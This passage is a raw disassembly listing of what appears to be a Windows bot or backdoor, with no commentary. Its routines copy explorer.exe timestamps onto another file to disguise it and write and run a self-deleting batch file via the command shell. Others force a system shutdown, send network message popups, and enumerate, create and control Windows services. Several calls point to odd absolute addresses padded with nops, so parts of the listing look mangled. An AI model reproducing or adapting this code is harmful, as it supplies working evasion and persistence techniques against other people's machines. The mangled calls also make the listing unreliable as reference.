var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CB060
		test	eax, eax
		jz	short loc_418332
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270EC
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 27F0813h
		push	ebx
		mov	ebx, dword_427068
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 27F0000h
		push	esi
		call	ebx

loc_418332:				; CODE XREF: sub_418293+2Aj
					; sub_418293+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418293	endp


; =============== S U B	R O U T	I N E =======================================



sub_418337	proc near		; CODE XREF: sub_401ACD+16B1p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CAEE4
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418337	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418359	proc near		; CODE XREF: sub_401ACD+2754p
					; ___:0041686Bp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_41837D
		cmp	dword_4CB074, esi
		jnz	short loc_41837D
		push	esi
		call	sub_401000
		pop	ecx

loc_41837D:				; CODE XREF: sub_418359+13j
					; sub_418359+1Bj
		call	sub_40B2BF
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		nop
		call	near ptr 2690000h
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	near ptr 26F07FEh
		nop
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4184DD
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		nop
		call	near ptr 26E0000h
		push	edi
		call	near ptr 2650939h
		nop
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset dword_43D158
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 26804B9h
		push	eax
		nop
		call	near ptr 2660000h
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 26803E9h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418485
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 2680317h

loc_418485:				; CODE XREF: sub_418359+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 2800000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 2650C44h

loc_4184DD:				; CODE XREF: sub_418359+72j
		pop	edi
		pop	esi
		leave
		retn
sub_418359	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184E1	proc near		; CODE XREF: sub_401ACD+7232p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26C04CCh
		cmp	[ebp+var_84], 2
		jnz	short loc_418577
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CAF24
		push	edi
		push	eax
		call	dword_4CAF34
		test	eax, eax
		jz	short loc_418569
		push	[ebp+arg_10]
		push	offset dword_4389B4

loc_418542:				; CODE XREF: sub_4184E1+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		jmp	short loc_4185A1
; ---------------------------------------------------------------------------

loc_418569:				; CODE XREF: sub_4184E1+57j
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset unk_43898C
		jmp	short loc_418542
; ---------------------------------------------------------------------------

loc_418577:				; CODE XREF: sub_4184E1+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_43895C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch

loc_4185A1:				; CODE XREF: sub_4184E1+86j
		pop	edi
		leave
		retn
sub_4184E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185A4	proc near		; CODE XREF: sub_401ACD+55FEp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 26C04CCh
		nop
		cmp	[ebp+var_90], 4
		jnz	short loc_4185FA
		cmp	[ebp+var_8C], 0
		jnz	short loc_4185E3
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_4185FA
		leave
		retn
; ---------------------------------------------------------------------------

loc_4185E3:				; CODE XREF: sub_4185A4+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_4185F5
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_4185FA

loc_4185F5:				; CODE XREF: sub_4185A4+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_4185FA:				; CODE XREF: sub_4185A4+27j
					; sub_4185A4+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		nop
		call	near ptr 2690BBBh
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		nop
		call	near ptr 26A0000h
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41D817
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		nop
		call	near ptr 2780428h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4185A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418684	proc near		; CODE XREF: sub_40111D+F7p
					; ___:0040E6E2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		nop
		call	near ptr 2680CD4h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_427700
		call	sub_41C798
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418684	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186C1	proc near		; CODE XREF: sub_401ACD:loc_406126p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418719
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_4389D8[esi]
		push	edi
		push	eax
		call	sub_41873B
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418709
		push	edi
		push	off_4389D4[esi]
		push	offset unk_438AE8

loc_4186F9:				; CODE XREF: sub_4186C1+56j
		mov	esi, offset dword_4DB020
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418736
; ---------------------------------------------------------------------------

loc_418709:				; CODE XREF: sub_4186C1+2Aj
		push	eax
		call	sub_4187DD
		pop	ecx
		push	eax
		push	edi
		push	offset unk_438ABC
		jmp	short loc_4186F9
; ---------------------------------------------------------------------------

loc_418719:				; CODE XREF: sub_4186C1+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DB020
		push	off_4389D0[eax*4]
		push	offset unk_438A98
		push	esi
		call	sub_41B886
		add	esp, 0Ch

loc_418736:				; CODE XREF: sub_4186C1+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4186C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41873B	proc near		; CODE XREF: sub_4186C1+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CAF98
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418762
		nop
		call	near ptr 2670E9Dh
		mov	ebx, eax
		jmp	short loc_4187D7
; ---------------------------------------------------------------------------

loc_418762:				; CODE XREF: sub_41873B+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CAE80
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418782
		nop
		call	near ptr 2670E9Dh
		mov	ebx, eax
		jmp	short loc_4187CF
; ---------------------------------------------------------------------------

loc_418782:				; CODE XREF: sub_41873B+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_4187B5
		cmp	eax, 3
		jz	short loc_4187A6
		jle	short loc_4187C8
		cmp	eax, 6
		jg	short loc_4187C8
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CAEEC
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------

loc_4187A6:				; CODE XREF: sub_41873B+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CAE88
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------

loc_4187B5:				; CODE XREF: sub_41873B+4Dj
		push	esi
		call	dword_4CAEF0

loc_4187BC:				; CODE XREF: sub_41873B+69j
					; sub_41873B+78j
		test	eax, eax
		jnz	short loc_4187C8
		nop
		call	near ptr 2670E9Dh
		mov	ebx, eax

loc_4187C8:				; CODE XREF: sub_41873B+54j
					; sub_41873B+59j ...
		push	esi
		call	dword_4CAE9C

loc_4187CF:				; CODE XREF: sub_41873B+45j
		push	edi
		call	dword_4CAE9C
		pop	esi

loc_4187D7:				; CODE XREF: sub_41873B+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_41873B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187DD	proc near		; CODE XREF: sub_4186C1+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418892
		jz	loc_41888B
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418855
		jz	short loc_41884B
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418841
		dec	ecx
		dec	ecx
		jz	short loc_418837
		dec	ecx
		jz	short loc_41882D
		sub	ecx, 51h
		jz	short loc_418823
		sub	ecx, 24h
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418823:				; CODE XREF: sub_4187DD+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_41882D:				; CODE XREF: sub_4187DD+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418837:				; CODE XREF: sub_4187DD+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418841:				; CODE XREF: sub_4187DD+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_41884B:				; CODE XREF: sub_4187DD+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418855:				; CODE XREF: sub_4187DD+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418884
		dec	ecx
		jz	short loc_41887D
		dec	ecx
		jz	short loc_418876
		dec	ecx
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418876:				; CODE XREF: sub_4187DD+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_41887D:				; CODE XREF: sub_4187DD+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_418884:				; CODE XREF: sub_4187DD+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_41888B:				; CODE XREF: sub_4187DD+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_418892:				; CODE XREF: sub_4187DD+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4188F5
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418949[ecx]
		jmp	off_418921[ecx*4] ; switch jump

loc_4188B6:				; DATA XREF: ___:off_418921o
		push	offset aTheSpecifiedDa ; jumptable 004188AF case 7
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188BD:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDepe ; jumptable 004188AF case 17
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188C4:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDe_0 ; jumptable 004188AF case 10
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188CB:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasB ; jumptable 004188AF case 0
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188D2:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheSpecified_0 ; jumptable 004188AF case 2
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188D9:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceCoul ; jumptable 004188AF case 11
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188E0:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHa_0 ; jumptable 004188AF case 14
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188E7:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheRequested_1 ; jumptable 004188AF case 3
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188EE:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasN ; jumptable 004188AF case 4
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188F5:				; CODE XREF: sub_4187DD+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."

loc_4188FA:				; CODE XREF: sub_4187DD+41j
					; sub_4187DD+4Bj ...
		push	offset dword_4DA960
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41891B
; ---------------------------------------------------------------------------

loc_418908:				; CODE XREF: sub_4187DD+36j
					; sub_4187DD+89j ...
		push	eax		; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DA960
		call	sub_41B886
		add	esp, 0Ch

loc_41891B:				; CODE XREF: sub_4187DD+129j
		mov	eax, offset dword_4DA960
		retn
sub_4187DD	endp

; ---------------------------------------------------------------------------
off_418921	dd offset loc_4188CB	; DATA XREF: sub_4187DD+D2r
		dd offset loc_4188D2	; jump table for switch	statement
		dd offset loc_4188E7
		dd offset loc_4188EE
		dd offset loc_4188B6
		dd offset loc_4188C4
		dd offset loc_4188D9
		dd offset loc_4188E0
		dd offset loc_4188BD
		dd offset loc_418908
byte_418949	db	0,     9,     1,     2 ; DATA XREF: sub_4187DD+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41895B	proc near		; CODE XREF: sub_401ACD+45D3p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CAF98
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_418993:				; CODE XREF: sub_41895B+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CAF64
		test	eax, eax
		jnz	short loc_4189CD
		nop
		call	near ptr 2670E9Dh
		cmp	eax, 0EAh
		jnz	loc_418A81

loc_4189CD:				; CODE XREF: sub_41895B+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418A78
		lea	esi, [ebp+var_188]

loc_4189DE:				; CODE XREF: sub_41895B+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418A27
		dec	eax
		jz	short loc_418A20
		dec	eax
		jz	short loc_418A19
		dec	eax
		jz	short loc_418A12
		dec	eax
		jz	short loc_418A0B
		dec	eax
		jz	short loc_418A04
		dec	eax
		jz	short loc_4189FD
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_4189FD:				; CODE XREF: sub_41895B+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A04:				; CODE XREF: sub_41895B+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A0B:				; CODE XREF: sub_41895B+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A12:				; CODE XREF: sub_41895B+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A19:				; CODE XREF: sub_41895B+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A20:				; CODE XREF: sub_41895B+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A27:				; CODE XREF: sub_41895B+87j
		push	offset aStopped	; "    Stopped"

loc_418A2C:				; CODE XREF: sub_41895B+A0j
					; sub_41895B+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4189DE

loc_418A78:				; CODE XREF: sub_41895B+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418993

loc_418A81:				; CODE XREF: sub_41895B+6Cj
		push	[ebp+var_C]
		call	dword_4CAE9C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41895B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A98	proc near		; CODE XREF: sub_401ACD:loc_406166p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_418B32
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_418AC1
		dec	eax
		jnz	short loc_418B12
		push	edi
		push	0
		call	sub_418C6B
		pop	ecx
		pop	ecx
		jmp	short loc_418B0E
; ---------------------------------------------------------------------------

loc_418AC1:				; CODE XREF: sub_418A98+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_418B00
		push	24h
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418B00
		push	57h
		pop	eax

loc_418AD8:				; CODE XREF: sub_418A98+78j
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DAC1C
		push	off_4389D0[eax*4]
		push	offset unk_43907C
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------

loc_418B00:				; CODE XREF: sub_418A98+2Dj
					; sub_418A98+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_418BBF
		add	esp, 0Ch

loc_418B0E:				; CODE XREF: sub_418A98+27j
		test	eax, eax
		jnz	short loc_418AD8

loc_418B12:				; CODE XREF: sub_418A98+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DAC1C
		push	off_4389D4[eax*4]
		push	offset dword_439060
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------

loc_418B32:				; CODE XREF: sub_418A98+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DAC1C
		lea	eax, [eax+eax*2]
		push	off_4389D0[eax*4]
		push	offset unk_43903C
		push	esi
		call	sub_41B886
		add	esp, 0Ch

loc_418B52:				; CODE XREF: sub_418A98+66j
					; sub_418A98+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418A98	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B58	proc near		; CODE XREF: sub_419E79+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_418B65
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_418B65:				; CODE XREF: sub_418B58+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_42717C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DAE1C, 1
		mov	ebp, eax
		jnz	short loc_418BA2
		or	byte_4DAE1C, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	dword_4DABBC, eax

loc_418BA2:				; CODE XREF: sub_418B58+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DABBC
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DABBC
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_418B58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BBF	proc near		; CODE XREF: sub_418A98+6Ep
					; sub_41A19D+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41BFB0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_418C2A
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CAE98
		pop	edi
		leave
		retn
sub_418BBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C2A	proc near		; CODE XREF: sub_418BBF+Ap
					; sub_418BBF+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_418C37
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_418C37:				; CODE XREF: sub_418C2A+9j
		push	ebx
		push	esi
		mov	esi, dword_427180
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
